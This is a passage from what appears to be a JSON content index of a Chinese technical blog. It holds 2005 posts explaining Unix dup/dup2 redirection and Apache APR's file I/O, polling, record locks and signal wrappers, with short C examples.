STDOUT_FILENO)表示n_fd与fd3共享一个文件表项(它们的文件表指针指向同一个文件表项)，n_fd在文件描述符表中的位置为STDOUT_FILENO的位置，而原先的STDOUT_FILENO所指向的文件表项被关闭，我觉得上图应该很清晰的反映出这点。按照上面的解释我们就可以解释CU中提出的一些问题：\n(1) \u0026ldquo;dup2的第一个参数是不是必须为已打开的合法filedes？\u0026rdquo; — 答案：必须。\n(2) \u0026ldquo;dup2的第二个参数可以是任意合法范围的filedes值么？\u0026rdquo; — 答案：可以，在Unix其取值区间为[0,255]。\n另外感觉理解dup2的一个好方法就是把fd看成一个结构体类型，就如上面图形中画的那样，我们不妨把之定义为：\nstruct fd_t {\nint index;\nfilelistitem *ptr;\n};\n然后dup2匹配index，修改ptr，完成dup2操作。\n在学习dup2时总是碰到“重定向”一词，上图完成的就是一个“从标准输出到文件的重定向”，经过dup2后进程A的任何目标为STDOUT_FILENO的I/O操作如printf等，其数据都将流入fd3所对应的文件中。下面是一个例子程序：\n#define TESTSTR \u0026ldquo;Hello dup2\\n\u0026rdquo;\nint main() {\nint fd3;\nfd3 = open(\u0026ldquo;testdup2.dat\u0026rdquo;, 0666);\nif (fd \u0026lt; 0) {\nprintf(\u0026ldquo;open error\\n\u0026rdquo;);\nexit(-1);\n}\nif (dup2(fd3, STDOUT_FILENO) \u0026lt; 0) { printf(\u0026ldquo;err in dup2\\n\u0026rdquo;);\n}\nprintf(TESTSTR);\nreturn 0;\n}\n其结果就是你在testdup2.dat中看到\u0026quot;Hello dup2\u0026quot;。\n二、重定向后恢复\nCU上有这样一个帖子，就是如何在重定向后再恢复原来的状态？首先大家都能想到要保存重定向前的文件描述符。那么如何来保存呢，象下面这样行么？\nint s_fd = STDOUT_FILENO;\nint n_fd = dup2(fd3, STDOUT_FILENO);\n还是这样可以呢？\nint s_fd = dup(STDOUT_FILENO);\nint n_fd = dup2(fd3, STDOUT_FILENO);\n这两种方法的区别到底在哪呢？答案是第二种方案才是正确的，分析如下：按照第一种方法，我们仅仅在\u0026quot;表面上\u0026quot;保存了相当于fd_t（按照我前面说的理解方法）中的index，而在调用dup2之后，ptr所指向的文件表项由于计数值已为零而被关闭了，我们如果再调用dup2(s_fd, fd3)就会出错(出错原因上面有解释)。而第二种方法我们首先做一下复制，复制后的状态如下图所示:\n进程A的文件描述符表(after dup)\n————\nfd0 0 | p0 ————\nfd1 1 | p1 ————-\u0026gt; 文件表1 ———\u0026gt; vnode1\n———— /|\nfd2 2 | p2 /\n———— /\nfd3 3 | p3 ————-\u0026gt; 文件表2 ———\u0026gt; vnode2\n———— /\ns_fd 4 | p4 ——/ ————\n… …\n… …\n————\n调用dup2后状态为：\n进程A的文件描述符表(after dup2)\n————\nfd0 0 | p0 ————\nn_fd 1 | p1 ————\n———— \\\nfd2 2 | p2 \\\n———— _\\|\nfd3 3 | p3 ————-\u0026gt; 文件表2 ———\u0026gt; vnode2\n————\ns_fd 4 | p4 ————-\u0026gt;文件表1 ———\u0026gt; vnode1\n————\n… …\n… …\n————\ndup(fd)的语意是返回的新的文件描述符与fd共享一个文件表项。就如after dup图中的s_fd和fd1共享文件表1一样。\n确定第二个方案后重定向后的恢复就很容易了，只需调用dup2(s_fd, n_fd);即可。下面是一个完整的例子程序：\n#define TESTSTR \u0026ldquo;Hello dup2\\n\u0026rdquo;\n#define SIZEOFTESTSTR 11\nint main() {\nint fd3;\nint s_fd;\nint n_fd;\nfd3 = open(\u0026ldquo;testdup2.dat\u0026rdquo;, 0666);\nif (fd3 \u0026lt; 0) {\nprintf(\u0026ldquo;open error\\n\u0026rdquo;);\nexit(-1);\n}\n/* 复制标准输出描述符 */\ns_fd = dup(STDOUT_FILENO);\nif (s_fd \u0026lt; 0) {\nprintf(\u0026ldquo;err in dup\\n\u0026rdquo;);\n}\n/* 重定向标准输出到文件 */\nn_fd = dup2(fd3, STDOUT_FILENO);\nif (n_fd \u0026lt; 0) {\nprintf(\u0026ldquo;err in dup2\\n\u0026rdquo;);\n}\nwrite(STDOUT_FILENO, TESTSTR, SIZEOFTESTSTR); /* 写入testdup2.dat中 */\n/* 重定向恢复标准输出 */\nif (dup2(s_fd, n_fd) \u0026lt; 0) {\nprintf(\u0026ldquo;err in dup2\\n\u0026rdquo;);\n}\nwrite(STDOUT_FILENO, TESTSTR, SIZEOFTESTSTR); /* 输出到屏幕上 */\nreturn 0;\n}\n注意这里我在输出数据的时候我是用了不带缓冲的write库函数，如果使用带缓冲区的printf，则最终结果为屏幕上输出两行\u0026quot;Hello dup2\u0026quot;，而文件testdup2.dat中为空，原因就是缓冲区作怪，由于最终的目标是屏幕，所以程序最后将缓冲区的内容都输出到屏幕。\n三、父子进程间的dup/dup2\n由fork调用得到的子进程和父进程的相同文件描述符共享同一文件表项，如下图所示：\n父进程A的文件描述符表\n————\nfd0 0 | p0 ————\nfd1 1 | p1 ————-\u0026gt; 文件表1 ———\u0026gt; vnode1\n———— /|\\\nfd2 2 | p2 |\n———— |\n|\n子进程B的文件描述符表 |\n———— |\nfd0 0 | p0 |\n———— |\nfd1 1 | p1 ———————|\n————\nfd2 2 | p2 ————\n所以恰当的利用dup2和dup可以在父子进程之间建立一条“沟通的桥梁”。这里不详述。\n四、小结\n灵活的利用dup/dup2可以给你带来很多强大的功能，花了一些时间总结出上面那么多，不知道自己理解的是否透彻，只能在以后的实践中慢慢探索了。\n参考资料：\n1、《Unix环境高级编程》\n","permalink":"https://tonybai.com/2005/09/19/understand-dup-and-dup2/","summary":"\u003cp\u003e看到\u003ca href=\"http://chinaunix.net\"\u003eChinaUnix\u003c/a\u003e(CU)上的一个帖子后，觉得自己对dup和dup2特别是后者的理解还是有欠缺的，这两个接口看起来很简单，但是理解起来也真的并不是那么容易。\u003c/p\u003e\n\u003cp\u003e相信大部分在Unix/Linux下编程的程序员手头上都有《Unix环境高级编程》(APUE)这本超级经典巨著。作者在该书中讲解dup/dup2之前曾经讲过“文件共享”，这对理解dup/dup2还是很有帮助的。这里做简单摘录以备在后面的分析中使用：\u003cbr\u003e\nStevens said:\u003cbr\u003e\n(1) 每个进程在进程表中都有一个记录项，每个记录项中有一张打开文件描述符表，可将视为一个矢量，每个描述符占用一项。与每个文件描述符相关联的是：\u003cbr\u003e\n   (a) 文件描述符标志。\u003cbr\u003e\n   (b) 指向一个文件表项的指针。\u003cbr\u003e\n(2) 内核为所有打开文件维持一张文件表。每个文件表项包含：\u003cbr\u003e\n   (a) 文件状态标志(读、写、增写、同步、非阻塞等)。\u003cbr\u003e\n   (b) 当前文件位移量。\u003cbr\u003e\n   (c) 指向该文件v节点表项的指针。\u003cbr\u003e\n图示：\u003cbr\u003e\n   文件描述符表\u003cbr\u003e\n   ————\u003cbr\u003e\nfd0  0   | p0  ————-\u0026gt; 文件表0 ———\u0026gt; vnode0\u003cbr\u003e\n   ————\u003cbr\u003e\nfd1  1   | p1  ————-\u0026gt; 文件表1 ———\u0026gt; vnode1\u003cbr\u003e\n   ————\u003cbr\u003e\nfd2  2   | p2 \u003cbr\u003e\n   ————\u003cbr\u003e\nfd3  3   | p3 \u003cbr\u003e\n   ————\u003cbr\u003e\n… …\u003cbr\u003e\n… …\u003cbr\u003e\n   ————\u003c/p\u003e","title":"理解dup和dup2"},{"content":"近两天稍轻闲了些，便抓紧时间学习、学习再学习。在“APR分析-文件IO篇”，我们只分析了最基本的I/O操作，如文件的open、close、write和read。当然File I/O操作不止这些，在这一篇中我们来看看APR提供的一些高级I/O设施，包括记录锁、I/O多路复用和内存映射文件(内存映射文件将和共享内存一起分析)。\n一、记录锁或(区域锁)[注1]\n我见过的对记录锁讲解最详细的书就是《Unix高级环境编程》，特别是关于进程、文件描述符和记录锁三者之间关系的讲解更是让人受益匪浅，有此书的朋友一定不要放过哟。这里将其中的三原则摘录到这：\n关于记录锁的自动继承和释放有三条规则：\n(1) 锁与进程、文件两方面有关。这有两重含意：第一重很明显，当一个进程终止时，它所建立的锁全部释放；第二重意思就不很明显，任何时候关闭一个描述符时，则该进程通过这一描述符可以存访的文件上的任何一把锁都被释放（这些锁都是该进程设置的）。\n(2) 由fork产生的子程序不继承父进程所设置的锁。这意味着，若一个进程得到一把锁，然后调用fork，那么对于父进程获得的锁而言，子进程被视为另一个进程，对于从父进程处继承过来的任一描述符，子进程要调用fcntl以获得它自己的锁。这与锁的作用是相一致的。锁的作用是阻止多个进程同时写同一个文件（或同一文件区域）。如果子进程继承父进程的锁，则父、子进程就可以同时写同一个文件。\n(3) 在执行exec后，新程序可以继承原执行程序的锁。\n话归正题谈APR的记录锁，平心而论APR的提供的加索和解锁接口并没有什么独到的地方，APR之所以将之封装起来，无非是为了提供一个统一的跨平台接口，并且不破坏APR整体代码风格的一致性。APR记录锁源码位置在$(APR_HOME)/file_io/unix目录下flock.c，头文件仍然是apr_file_io.h。apr_file_lock和apr_file_unlock仅提供对整个文件的加锁和解锁，而并不支持对文件中任意范围数据的加锁和解锁。至于该锁是建议锁(advisory lock)还是强制锁(mandatory lock)，需要看具体的平台的实现了。两个函数均利用fcntl实现记录锁功能(前提是所在平台支持fcntl，由于fcntl是POSIX标准，绝大多数平台都支持)。代码中有一处值得鉴赏：\nwhile ((rc = fcntl(thefile-\u0026gt;filedes, fc, \u0026amp;l)) \u0026lt; 0 \u0026amp;\u0026amp; errno == EINTR)\ncontinue;\n这里这么做的原因就是考虑到fcntl的调用可能被某信号中断，一旦中断我们去要重启fcntl函数。\n二、I/O多路复用[注2]\n在经典的《Unix网络编程第1卷》Chapter 6中作者详细介绍了五种I/O模型，分别为：\n- blocking I/O\n- nonblocking I/O\n- I/O multiplexing (select and poll)\n- signal driven I/O (SIGIO)\n- asynchronous I/O (the POSIX aio_functions)\n作者同时对这5种I/O模型作了很详细的对比分析，很值得一看。这里所说的I/O多路复用就是第三种模型，它既解决了Blocking I/O数据处理不及时，又解决了Non-Blocking I/O采用轮旬的CPU浪费问题，同时它与异步I/O不同的是它得到了各大平台的广泛支持。\nAPR I/O多路复用源码主要在$(APR_HOME)/poll/unix目录下的poll.c和select.c中，头文件为apr_poll.h。APR提供统一的apr_poll接口，但是apr_pollset_t结构定义和apr_poll的实现则根据宏POLLSET_USES_SELECT、POLL_USES_POLL和POLLSET_USES_POLL的定义与否而不同。这里拿poll的实现(That is 使用poll来实现apr_poll及apr_pollset_xx相关，与之对应的是使用select来实现apr_poll及apr_pollset_xx相关)来分析：在poll的实现下，apr_pollset_t的定义如下：\n/* in poll.c */\nstruct apr_pollset_t\n{\napr_pool_t *pool;\napr_uint32_t nelts;\napr_uint32_t nalloc;\nstruct pollfd *pollset;\napr_pollfd_t *query_set;\napr_pollfd_t *result_set;\n};\n统一的apr_pollfd_t定义如下：\n/* in apr_poll.h */\nstruct apr_pollfd_t {\napr_pool_t *p; /* associated pool */\napr_datatype_e desc_type; /* descriptor type */\napr_int16_t reqevents; /* requested events */\napr_int16_t rtnevents; /* returned events */\napr_descriptor desc; /* @see apr_descriptor */\nvoid *client_data; /* allows app to associate context */\n};\n把数据结构定义贴出来便于后面分析时参照理解。\n假设我们像这样apr_pollset_create(\u0026amp;mypollset, 10, p, 0)调用，那么在apr_pollset_create后，我们可以用图示来表示mypollset变量的状态：\nmypollset\n——-\nnalloc —-\u0026gt; 10 /* 该mypollset的“容量”，在create的时候由参数指定 */\n——-\nnelts —-\u0026gt; 0 /* 刚初始化，mypollset中并没有任何element，之后每add一次，nelts就+1 */\n——- ———————————————\npollset ———\u0026gt; pollset[0] | pollset[1] |…| pollset[nalloc-1]\n———————————————\n——-\n—————————————————–\nquery_set ———\u0026gt; query_set[0] | query_set[1] |…| query_set[nalloc-1]\n—————————————————–\n——-\n———————————————————\nresult_set ———\u0026gt; result_set[0] | result_set[1] |…| result_set[nalloc-1]\n———————————————————\n——-\npollset、query_set和result_set这几个集合的关系通过下图说明：\napr_pollfd_t *descriptor —\u0026gt; [pollset_add] ——–\u0026gt; query_set —— [pollset_poll] —–\u0026gt; result_set (输出)\n| /|\\\n——————-\u0026gt; pollset —— [pollset_poll] ——————–\napr_pollset_xx系列是改版后APR I/O复用新增的接口集，它以apr_pollset_t作为其管理的基本单位，其中apr_pollset_poll用于监视pollset中的所有descriptor(s)。而apr_poll则是旧版的APR I/O复用接口，它同样可以实现apr_pollset_poll的功能，只是它的基本管理单位是apr_pollfd_t，其相关函数还包括apr_poll_setup、apr_poll_socket_add等在apr-1.1.1版中已看不到的几个接口。新版本中建议使用apr_pollset_poll，起码APR的测试用例(testpoll.c)是这么做的。\nselect实现的思路与poll实现的思路是一致的，只是apr_pollset_t的结构不同，原因不言自明。\n三、总结\n由于APR对高级I/O的封装很“薄”，所以基本上没有太多很精致的东西。\n四、参考资料\n1、《Unix高级环境编程》\n2、《Unix网络编程卷1、2》\n[注1]\n对于Unix，“记录”这个定语也是误用，因为Unix内核根本没有使用文件记录这种概念。一个更适合的术语可能是“区域锁”，因为它锁定的只是文件的一个区域（也可能是整个文件）– 摘自《Unix高级环境编程》。\n[注2]\n在《Unix网络编程卷1》译者译为\u0026quot;多路复用\u0026quot;，在《Unix高级环境编程》中译者译为\u0026quot;多路转接\u0026quot;，我更倾向于前者。I/O多路复用其英文为\u0026quot;I/O Multiplexing\u0026quot;。\n","permalink":"https://tonybai.com/2005/09/17/apr-advanced-io/","summary":"\u003cp\u003e近两天稍轻闲了些，便抓紧时间学习、学习再学习。在“\u003ca href=\"http://tonybai.com/2005/09/15/apr-file-io\"\u003eAPR分析-文件IO篇\u003c/a\u003e”，我们只分析了最基本的I/O操作，如文件的open、close、write和read。当然File I/O操作不止这些，在这一篇中我们来看看APR提供的一些高级I/O设施，包括记录锁、I/O多路复用和内存映射文件(内存映射文件将和共享内存一起分析)。\u003c/p\u003e","title":"APR源代码分析-高级IO篇"},{"content":"文件I/O在Unix下占据着非常重要的地位，曾有一句经典语句绝对可以说明file在Unix下的重要性，That is \u0026ldquo;In UNIX, everything is a file\u0026rdquo;，APR就是本着这个思想对Unix文件I/O进行了再一次的抽象封装，以提供更为强大和友善的文件I/O接口。\nAPR File I/O源代码的位置在$(APR_HOME)/file_io目录下，本篇blog着重分析unix子目录下的相关.c文件内容，其相应头文件为$(APR_HOME)/include/apr_file_io.h和apr_file_info.h。\n一、APR File I/O介绍\nAPR用了\u0026quot;不小的篇幅\u0026quot;来\u0026quot;描述\u0026quot;文件I/O，在$(APR_HOME)/file_io/unix目录下，你会看到多个.c文件，每个.c都是一类文件I/O操作。比如：\nopen.c — 封装了文件的打开、关闭、改名和删除等操作；\nreadwrite.c — 顾名思义，它里面包含了文件的读写操作；\npipe.c — 包含了pipe相关操作。\n还有许多这里不多说，由于文件I/O操作复杂，我们下面将仅挑出最常用的文件I/O操作进行分析。\n二、基本APR I/O\nAPR定义了apr_file_t类型来表示广义的文件。先来看一下这个核心数据结构的“模样”：\n/* in apr_arch_file_io.h */\nstruct apr_file_t {\napr_pool_t *pool;\nint filedes;\nchar *fname;\napr_int32_t flags;\nint eof_hit;\nint is_pipe;\napr_interval_time_t timeout;\nint buffered;\nenum {BLK_UNKNOWN, BLK_OFF, BLK_ON } blocking;\nint ungetchar; /* Last char provided by an unget op. (-1 = no char)*/\n#ifndef WAITIO_USES_POLL\n/* if there is a timeout set, then this pollset is used */\napr_pollset_t *pollset;\n#endif\n/* Stuff for buffered mode */\nchar *buffer;\nint bufpos; /* Read/Write position in buffer */\nunsigned long dataRead; /* amount of valid data read into buffer */\nint direction; /* buffer being used for 0 = read, 1 = write */\nunsigned long filePtr; /* position in file of handle */\n#if APR_HAS_THREADS\nstruct apr_thread_mutex_t *thlock;\n#endif\n};\n在这个数据结构中有些字段的含义一目了然，如filedes、fname、is_pipe等，而有些呢即使看了注释也不能够马上了解其真正的含义，这就需要在阅读源码时来体会。\n1、apr_file_open\nANSI C标准库和Unix系统库函数都提供对“打开文件”这个操作语义的支持。他们提供的接口很相似，参数一般都为“文件名+打开标志位+权限标志位”，apr_file_open也不能忽略习惯的巨大力量，也提供了类似的接口如下：\nAPR_DECLARE(apr_status_t) apr_file_open(apr_file_t **new,\nconst char *fname,\napr_int32_t flag,\napr_fileperms_t perm,\napr_pool_t *pool);\n其中fname、flag和perm三个参数你应该很眼熟吧:)。每个封装都有自定义的一些标志宏，这里也不例外，flag和perm参数都需要用户传入APR自定义的一些宏组合，不过由于这些宏的可读性都很好，不会成为你使用过程的绊脚石。由于apr_file_open操作是其他操作的基础所以这里作简单分析，还是采用老办法伪码法：\napr_file_open\n{\n“打开标志位”转换；—–(1)\n“权限标志位”转换；—–(2)\n调用Unix原生API打开文件；\n设置apr_file_t变量相关属性值；——(3)\n}\n(1) 由于上面说了，APR定义了自己的“文件打开标志位”，所以在apr_file_open的开始需要将这些专有的“文件打开标志位”转换为Unix平台通用的“文件打开标志位”；\n(2) 同(1)理，专有的“权限标志位”需要转换为Unix平台通用的“权限标志位”；\n(3) APR file I/O封装支持非阻塞I/O带超时等待以及缓冲I/O，默认情况下为阻塞的，是否缓冲可通过“文件打开标志位”设置。一旦设置为缓冲I/O，则apr_file_open会在pool中开辟大小为APR_FILE_BUFSIZE(4096)的缓冲区供使用。\n2、apr_file_read/apr_file_write\n该两个接口的看点是其缓冲区管理（前提：在apr_file_open该文件时指定了是Buffer I/O及非阻塞I/O带超时等待）。还有一点就是通过这两个接口的实现我们可以了解到上面提到的apr_file_t中某些“晦涩”字段的真正含义。\n(1) 带缓冲I/O\n这里的缓冲是APR自己来管理的，带缓冲的好处很简单，即减少直接操作文件的次数，提高I/O性能。要知道无论lseek还是read/write都是很耗时的，尽可能的减少直接I/O操作次数，会带来性能上明显的改善。这里将用图示说明缓冲区与文件的对应关系，以帮助理解APR缓冲I/O：\nthefile-\u0026gt;filePtr\n|\n0 \\|/ 文件末尾\n———————————————–\n/////////////////// filedes (文件)\n———————————————–\n/ \\\n/ \\\n/ \\\n0|/_ _\\| APR_FILE_BUFSIZE\n———————————————–\n//////////////////////// (缓冲区)\n\\\\\\\\\\\\\\\\\\\\\n———————————————–\n/|\\ /|\\ /|\\\n| | |\n| | thefile-\u0026gt;dataRead\n| thefile-\u0026gt;bufpos\nthefile-\u0026gt;buffer\n说明：\u0026quot;//////\u0026quot; — 表示从文件读到缓冲区的数据；\n\u0026ldquo;\\\\\\\\\\\\\u0026rdquo; — 表示从用户已从缓冲区读出的数据。\nthefile-\u0026gt;bufpos : 缓冲区中的读写位置\nthefile-\u0026gt;dataRead: 标识缓冲区从文件读取的数据的大小\nthefile-\u0026gt;fileptr: 标识文件本身被读到什么位置\n读写切换：如果先读后写，则每次写的时候都要重新定位文件指针到上次读的结尾处；如果先写后读，则每次读前都要flush缓冲区。\n(2)非阻塞I/O带超时等待\n这里分析下面一段apr_file_read的代码：\ndo {\nrv = read(thefile-\u0026gt;filedes, buf, *nbytes);\n} while (rv == -1 \u0026amp;\u0026amp; errno == EINTR); ————–(a)\n#ifdef USE_WAIT_FOR_IO\nif (rv == -1 \u0026amp;\u0026amp;\n(errno == EAGAIN || errno == EWOULDBLOCK) \u0026amp;\u0026amp;\nthefile-\u0026gt;timeout != 0) {\napr_status_t arv = apr_wait_for_io_or_timeout(thefile, NULL, 1); ——(b)\nif (arv != APR_SUCCESS) {\n*nbytes = bytes_read;\nreturn arv;\n}\nelse {\ndo {\nrv = read(thefile-\u0026gt;filedes, buf, *nbytes);\n} while (rv == -1 \u0026amp;\u0026amp; errno == EINTR);\n}\n} #endif\n(a) 第一个do-while块：之所以使用一个do-while块是为了当read操作被信号中断后重启read操作；\n(b) 一旦文件描述符设为非阻塞，(a)则瞬间返回，一旦(a)并未读出数据，则rv = -1并且errno被设置为errno = EAGAIN，这时开始带超时的等待该文件描述符I/O就绪。这里的apr_wait_for_io_or_timeout使用了I/O的多路复用技术Poll，在后面的APR分析中会详细理解之。apr_file_t中的timeout字段就是用来做超时等待的。\n3、apr_file_close\n该接口主要完成的工作为刷新缓冲区、关闭文件描述符、删除文件(如果设置了APR_DELONCLOSE标志位)和清理Pool中内存的工作，这里不详述了。\n三、总结\n复杂的文件I/O，让我们通过三言两语就说完了。大家慢慢体会，看看世界著名开源项目的源代码，收获是颇丰的，不妨尝试一下。\n","permalink":"https://tonybai.com/2005/09/15/apr-file-io/","summary":"\u003cp\u003e文件I/O在Unix下占据着非常重要的地位，曾有一句经典语句绝对可以说明file在\u003ca href=\"http://en.wikipedia.org/wiki/Unix\"\u003eUnix\u003c/a\u003e下的重要性，That is \u0026ldquo;In UNIX, everything is a file\u0026rdquo;，\u003ca href=\"http://apr.apache.org\"\u003eAPR\u003c/a\u003e就是本着这个思想对Unix文件I/O进行了再一次的抽象封装，以提供更为强大和友善的文件I/O接口。\u003c/p\u003e\n\u003cp\u003eAPR File I/O源代码的位置在$(APR_HOME)/file_io目录下，本篇blog着重分析unix子目录下的相关.c文件内容，其相应头文件为$(APR_HOME)/include/apr_file_io.h和apr_file_info.h。\u003c/p\u003e","title":"APR源代码分析-文件IO篇"},{"content":"U know 信号是Unix的重要系统机制。信号机制使用起来很简单，但是理解起来有并不是那么Easy。APR Signal的封装也并不繁琐，代码量很少，所以分析APR Signal的过程其实就是学习Signal机制的过程。\n一、信号介绍\n1、Signal“历史久远”，在最初的Unix系统上就能看到它“伟岸”的身影。它的引入用来进行User Mode进程间的交互，系统内核也可以利用它通知User Mode进程发生了哪些系统事件。从最开始引入到现在，信号只是做了很小的一些改动（不可靠信号模型到可靠信号模型）。\n2、信号服务于两个目的：\n1) 通知某进程某特定事件发生了；\n2) 强制其通知进程执行相应的信号处理程序。\n二、基础概念\n1、信号的一个特性就是可以在任何时候发给某一进程，而无需知道该进程的状态。如果该进程当前并未处于执行态，则该信号被内核Save起来，直到该进程恢复执行才传递给它；如果一个信号被进程设置为阻塞，则该信号的传递被延迟，直到其阻塞被取消它才被传递给进程。\n2、系统内核严格区分信号传送的两个阶段：\n1) Signal Generation : 系统内核更新目标进程描述结构来表示一个信号已经被发送出去。\n2) Signal Delivery : 内核强制目标进程对信号做出反应，或执行相关信号处理函数，或改变进程执行状态。\n信号的诞生和传输我们可以这样理解：把信号作为“消费品”，其Generation状态就是“消费品诞生”，其Delivery状态就是理解为“被消费了”。这样势必存在这样的一个情况：“消费品诞生了，但是还没有被消费掉”，在信号模型中，这样的状态被称为“pending”(悬而未决)。\n任何时候一个进程只能有一个这样的某类型的pending信号，同一进程的其他同类型的pending信号将不排队，将被简单的discard(丢弃)掉。\n3、如何消费一个signal\n1) 忽略该信号；[注1]\n2) 响应该信号，执行一特定的信号处理函数；\n3) 响应该信号，执行系统默认的处理函数。包括：Terminate、Dump、Ignore、Stop、Continue等。\n这里有特殊：SIGKILL和SIGSTOP两个信号不能忽略、不能捕捉、不能阻塞，而只是执行系统默认处理函数。\n三、APR Signal封装\nAPR Signal源代码的位置在$(APR_HOME)/\\threadproc目录下，本篇blog着重分析unix子目录下的signals.c文件内容，其相应头文件为$(APR_HOME)/include/apr_signal.h。\n1、apr_signal函数\nUnix信号机制提供的最简单最常见的接口是signal函数，用来设置某特定信号的处理函数。但是由于早期版本和后期版本处理信号方式的不同，导致现在直接使用signal函数在不同的平台上可能得到不同的结果。\n早期版本处理方式：进程每次处理信号后，随即将信号的处理动作重置为默认值。\n后期版本处理方式：进程每次处理信号后，信号的处理动作不被重置为默认值。\n我们举例测试一下：分别在Solaris 9 、Cygwin和RedHat Linux 9上。\n例子：\nE.G 1:\nvoid siguser1_handler(int sig);\nint main(void)\n{\nif (signal(SIGUSR1, siguser1_handler) == SIG_ERR) {\nperror(\u0026ldquo;siguser1_handler error\u0026rdquo;);\nexit(1);\n}\nwhile (1) {\npause();\n}\n}\nvoid siguser1_handler(int sig)\n{\nprintf(\u0026ldquo;in siguser1_handler, %d\\n\u0026rdquo;, sig);\n}\ninput:\nkill -USR1 9122\nkill -USR1 9122\noutput:(Solaris 9)\nin siguser1_handler, 16\n用户信号1 (程序终止)\noutput:(Cygwin and RH9)\nin siguser1_handler, 30\nin siguser1_handler, 30\n…\n..\nE.G 1结果表示在Solaris 9上，信号的处理仍然按照早期版本的方式，而Cygwin和RH9则都按照后期版本的方式。\n那么有什么替代signal函数的办法么？在最新的X/Open和UNIX specifications中都推荐使用一个新的信号接口sigaction，该接口采用后期版本的信号处理方式。在《Unix高级环境编程》中就有使用sigaction实现signal的方法，而APR恰恰也是使用了该方法实现了apr_signal。其代码如下：\nAPR_DECLARE(apr_sigfunc_t *) apr_signal(int signo, apr_sigfunc_t * func)\n{\nstruct sigaction act, oact;\nact.sa_handler = func;\nsigemptyset(\u0026amp;act.sa_mask); ——————(1)\nact.sa_flags = 0;\n#ifdef SA_INTERRUPT /* SunOS */\nact.sa_flags |= SA_INTERRUPT;\n#endif\n… …\nif (sigaction(signo, \u0026amp;act, \u0026amp;oact) \u0026lt; 0)\nreturn SIG_ERR;\nreturn oact.sa_handler;\n}\n(1) 这里有一个Signal Set(信号集)的概念，通过相关函数操作信号集以改变内核传递信号给进程时的行为。Unix用sigset_t结构来表示信号集。信号集总是和sigprocmask或sigaction一起使用。关于信号集和sigprocmask函数将在下面详述。\n2、apr_signal_block和apr_signal_unblock\n这两个函数分别负责阻塞和取消阻塞内核传递某信号给目标进程。其主要利用的就是sigprocmask函数来实现的。每个进程都有其对应的信号屏蔽字，它让目标进程能够通知内核“哪些传给我的信号该阻塞，哪些畅通无阻”。在《Unix高级环境编程》中作者有这么一段说明“如果在调用sigprocmask后有任何未决的、不再阻塞的信号，则在sigprocmask返回前，至少将其中之一递送给该进程。”能理解这句我想信号屏蔽字这块儿也就没什么问题了。在Unix高级环境编程》中作者举了一个很不错的例子，讲解的也很详细。这里想举例说明的是：如果多次调用SET_BLOCK的sigprocmask设置屏蔽字，结果是什么呢？\nE.G 3\nint main(void)\n{\nsigset_t newmask, oldmask, pendmask;\n/* 设置进程信号屏蔽字, 阻塞SIGQUIT */\nsigemptyset(\u0026amp;newmask);\nsigaddset(\u0026amp;newmask, SIGQUIT);\nif (sigprocmask(SIG_BLOCK, \u0026amp;newmask, \u0026amp;oldmask) \u0026lt; 0) {\nperror(\u0026ldquo;SIG_BLOCK error\u0026rdquo;);\n}\nprintf(\u0026ldquo;1st to wait 30 seconds\\n\u0026rdquo;);\nsleep(30);\n/* 第一次察看当前的处于pend状态的信号 */\nif (sigpending(\u0026amp;pendmask) \u0026lt; 0) {\nperror(\u0026ldquo;sigpending error\u0026rdquo;);\n}\nif (sigismember(\u0026amp;pendmask, SIGQUIT)) {\nprintf(\u0026ldquo;SIGQUIT pending\\n\u0026rdquo;);\n} else {\nprintf(\u0026ldquo;SIGQUIT unpending\\n\u0026rdquo;);\n}\nif (sigismember(\u0026amp;pendmask, SIGUSR1)) {\nif (sigismember(\u0026amp;pendmask, SIGUSR1)) {\nprintf(\u0026ldquo;SIGUSR1 pending\\n\u0026rdquo;);\n} else {\nprintf(\u0026ldquo;SIGUSR1 unpending\\n\u0026rdquo;);\n}\n/* 重新设置屏蔽字, 阻塞SIGUSR1 */\nsigemptyset(\u0026amp;newmask);\nsigaddset(\u0026amp;newmask, SIGUSR1);\nif (sigprocmask(SIG_BLOCK, \u0026amp;newmask, \u0026amp;oldmask) \u0026lt; 0) {\nperror(\u0026ldquo;SIG_BLOCK error\u0026rdquo;);\n}\nprintf(\u0026ldquo;2nd to wait 30 seconds\\n\u0026rdquo;);\nsleep(30);\n/* 再次察看当前的处于pend状态的信号 */\nif (sigpending(\u0026amp;pendmask) \u0026lt; 0) {\nperror(\u0026ldquo;sigpending error\u0026rdquo;);\n}\nif (sigismember(\u0026amp;pendmask, SIGQUIT)) {\nprintf(\u0026ldquo;SIGQUIT pending\\n\u0026rdquo;);\n} else {\nprintf(\u0026ldquo;SIGQUIT unpending\\n\u0026rdquo;);\n}\nif (sigismember(\u0026amp;pendmask, SIGUSR1)) {\nprintf(\u0026ldquo;SIGUSR1 pending\\n\u0026rdquo;);\n} else {\nprintf(\u0026ldquo;SIGUSR1 unpending\\n\u0026rdquo;);\n}\nexit(0);\n}\n//output:\n1st to wait 30 seconds\n^\\\nSIGQUIT pending\nSIGUSR1 unpending\n2nd to wait 30 seconds — 这之后发送kill -USR1 28821\nSIGQUIT pending\nSIGUSR1 pending\n第一次输出SIGUSR1 unpending是因为并未发送USR1信号，所以自然为unpending状态；我想说的是第二次重新sigprocmask时我们仅加入了SIGUSR1,并未显示加入SIGQUIT，之后察看pending信号中SIGQUIT仍然为pending状态，这说明两次SET_BLOCK的sigprocmask调用是\u0026quot;或\u0026quot;的关系，第二次SET_BLOCK的sigprocmask调用不会将第一次SET_BLOCK的sigprocmask调用设置的阻塞信号变为非阻塞的。\n四、总结\n信号简单而强大，如果想深入了解signal的实现，参考资料中的第二本书会给你满意的答案。\n五、参考资料：\n1、《Unix高级环境编程》\n2、《深入理解Linux内核》\n[注1]\n忽略信号和阻塞信号\n前者相当于一个消费行为，该信号的状态为“已消费”，而后者只是将信号做缓存，等待阻塞打开，再交给进程消费，其状态为“未消费”，也相当于处于pending状态。\n","permalink":"https://tonybai.com/2005/09/13/apr-signal/","summary":"\u003cp\u003eU know \u003ca href=\"http://en.wikipedia.org/wiki/Unix_signal\"\u003e信号\u003c/a\u003e是\u003ca href=\"http://en.wikipedia.org/wiki/Unix\"\u003eUnix\u003c/a\u003e的重要系统机制。信号机制使用起来很简单，但是理解起来有并不是那么Easy。\u003ca href=\"http://apr.apache.org\"\u003eAPR\u003c/a\u003e Signal的封装也并不繁琐，代码量很少，所以分析APR Signal的过程其实就是学习Signal机制的过程。\u003c/p\u003e\n\u003cp\u003e一、信号介绍\u003cbr\u003e\n1、Signal“历史久远”，在最初的Unix系统上就能看到它“伟岸”的身影。它的引入用来进行User Mode进程间的交互，系统内核也可以利用它通知User 